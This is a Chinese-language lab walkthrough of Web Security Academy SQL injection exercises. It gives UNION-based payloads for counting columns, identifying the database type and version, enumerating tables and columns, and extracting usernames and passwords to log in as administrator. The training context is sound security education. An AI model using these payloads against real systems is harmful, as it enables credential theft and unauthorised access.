目录导航
在 SQL 注入攻击中检查数据库
在利用SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库包含的表和列的内容。
查询数据库类型和版本
不同的数据库提供了不同的方式来查询它们的版本。您经常需要尝试不同的查询来找到一个有效的查询,从而确定数据库软件的类型和版本。
确定某些流行数据库类型的数据库版本的查询如下
数据库类型 | 查询 |
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
例如,您可以使用UNION
查询Microsoft, MySQL的数据库类型和版本:
' UNION SELECT @@version--
这可能会返回如下输出,确认数据库是 Microsoft SQL Server 以及正在使用的版本:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
SQL注入攻击,查询Oracle上的数据库类型和版本
靶场地址:
examining-the-database/lab-querying-database-version-oracle
靶场说明:
本实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
解决实验,显示数据库版本字符串。
提示:
在 Oracle 数据库上,每个SELECT
语句都必须指定要选择的表FROM
。如果您的UNION SELECT
攻击不是从表中查询,您仍然需要包含FROM
关键字,后跟有效的表名。
Oracle 上有一个名为dual
的内置表,您可以将其用于此目的。例如:
UNION SELECT 'abc' FROM dual
有关更多信息,请参阅我们的SQL 注入备忘单。
①流程
- 测试是否存在注入点(
'
和'
--
[报错与否]) - 测试有几列(
' union select null--
或者' order by 1--
[不报错/报错-1]) - 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
(1)注入点测试:
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'
'
页面报错

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'--
'--
页面不报错
说明此页面可能存在sql注入漏洞.

(2)测试有几列
方法一:使用 'union select null--
查询
因为在 Oracle 数据库上,每个SELECT
语句都必须指定要选择的表,FROM
xxx,而Oracle 上有一个名为dual
的内置表,所以payload如下:
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select null from dual--

' union select null from dual--
页面报错
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select null,null from dual--

' union select null,null from dual--
页面正常,说明有两列(有两个null).
方法二:使用 ' order by 1--
查询
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' order by 1--

' order by 1--
页面显示正常
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' order by 2--

' order by 2--
页面显示正常
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' order by 3--

' order by 3--
页面报错,说明存在2列(3-1=2)
(3)测试哪一列有有用的数据
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select 'a',null from dual--

a正常显示,页面未报错,说明第一列有数据.
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select null,'b' from dual--

b正常显示,页面未报错,说明第二列有数据.
也可以直接凭借经验进行快速判断,文章中黑色粗体是标题为第一列,有字母组成;文章的第二部分是内容,内容中也有字母组成,所以可以在判断完有几列后,直接一上来就两列都改成字母测试:
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select 'a','b' from dual--

a,b均显示,且页面未报错,说明两列都有数据.
②检测数据库类型
参考SQL注入备忘单 SQL injection cheat sheet
数据库版本判断:
您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。
Oracle | SELECT banner FROM v$version |
---|---|
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
[1]测试其是否为Microsoft/MySQL数据库
payload:
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select @@version,null--

[2]测试其是否为PostgreSQL数据库
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select version(),null--

[3]测试其是否为Oracle数据库
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select banner,null FROM v$version--

Oracle的第二种方法测试
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select version,null FROM v$instance--

SQL注入攻击,在MySQL和microsoft上查询数据库类型和版本
注意事项:对于mysql数据库而言--
(后面有一个空格),直接在浏览器上面添加空格的话会被删掉,可以手动改成20%
,或者建议使用burpsuite操作.
靶场地址
examining-the-database/lab-querying-database-version-mysql-microsoft
靶场说明
参考SQL注入备忘单 SQL injection cheat sheet
您可以使用注释来截断查询并删除原始查询中您输入之后的部分。
Oracle | --comment |
---|---|
Microsoft | --comment |
PostgreSQL | --comment |
MySQL | #comment -- comment [注意双破折号后面的空格]/*comment*/ |
根据上面oracle的方法进行,简化如下:


--



最终检测mysql数据库版本payload如下所示:
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'+union+select+@@version,null--+

当然,对于mysql数据库,注释符--+
也可以换成#
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'+union+select+@@version,null#
列出数据库的内容
大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图,它们提供有关数据库的信息。
您可以查询information_schema.tables
以列出数据库中的表:
SELECT * FROM information_schema.tables
这将返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
此输出表明存在三个表,分别称为Products
、Users
和Feedback
。
然后,您可以查询information_schema.columns
以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
这将返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
此输出显示指定表中的列以及每列的数据类型。
SQL注入攻击,列出非Oracle数据库上的数据库内容
靶场地址
examining-the-database/lab-listing-database-contents-non-oracle
靶场说明
本实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,并且数据库包含一个保存用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。
要解决实验室问题,请以administrator
用户身份登录。
①步骤
- 测试是否存在注入点(
'
和'
--
[报错与否]) - 测试有几列(
' union select null--
或者' order by 1--
[不报错/报错-1]) - 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
- 测试数据库到底是哪种类型的(Oracle,Microsoft,PostgreSQL,MySQL)
- 根据数据库类型进一步实施攻击

'
判断是否存在注入
'--
判断是否存在注入(结果:存在sql注入)
' union select null--
检测有几列
' union select null,null--
检测有几列(结果:2列)
' union select 'www','ddosi.org'--
检测哪一列有数据(结果:两列都有数据)
' union select version(),null--
判断数据库类型(结果:PostgreSQL数据库)②读取PostgreSQL数据库中的表名:
https://ac451f321e97e18fc0e60e1000be00de.web-security-academy.net/filter?category=Gifts' union select table_name,null from information_schema.tables--


③获取users_towhie的列名:
因为上了个厕所,超时,所以重新开一个靶场users变了,原理一样的!
https://ac3d1fb11ff1eb17c0660dd900df0011.web-security-academy.net/filter?category=Pets' union select column_name,null from information_schema.columns where table_name= 'users_towhie'--


④获取username_uadsgl,password_tmdjpt的值:
https://ac3d1fb11ff1eb17c0660dd900df0011.web-security-academy.net/filter?category=Pets' union select username_uadsgl,password_tmdjpt from users_towhie--

成功获取账号密码,点击右上角登录即可完成该题.
SQL注入攻击,列出Oracle数据库上的数据库内容
靶场地址:
examining-the-database/lab-listing-database-contents-oracle
靶场说明
本实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,并且数据库包含一个保存用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。
要解决实验室问题,请以administrator
用户身份登录。
①步骤
- 测试是否存在注入点(
'
和'
--
[报错与否]) - 测试有几列(
' union select null--
或者' order by 1--
[不报错/报错-1]) - 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
- 测试数据库到底是哪种类型的(Oracle,Microsoft,PostgreSQL,MySQL)
- 根据数据库类型进一步实施攻击
此处不再重复,执行参考之前的操作.
②测试出来数据库为Oracle
列数为2,均为文本.

Oracle版本为:

③获取表名
https://ac161f4e1f8cb418c0e41e30000000d5.web-security-academy.net/filter?category=Tech+gifts'+union+select+table_name,null+from+all_tables--

④获取列名
https://ac161f4e1f8cb418c0e41e30000000d5.web-security-academy.net/filter?category=Tech+gifts'+union+select+column_name,null+from+all_tab_columns+where+table_name+=+'USERS_RGGRSJ'--


⑤获取数据值
https://ac161f4e1f8cb418c0e41e30000000d5.web-security-academy.net/filter?category=Tech+gifts'+union+select+USERNAME_WLTEUO,PASSWORD_FSTIFH+from+USERS_RGGRSJ--

⑥使用administrator账号密码登录即可完成实验.
转载请注明出处及链接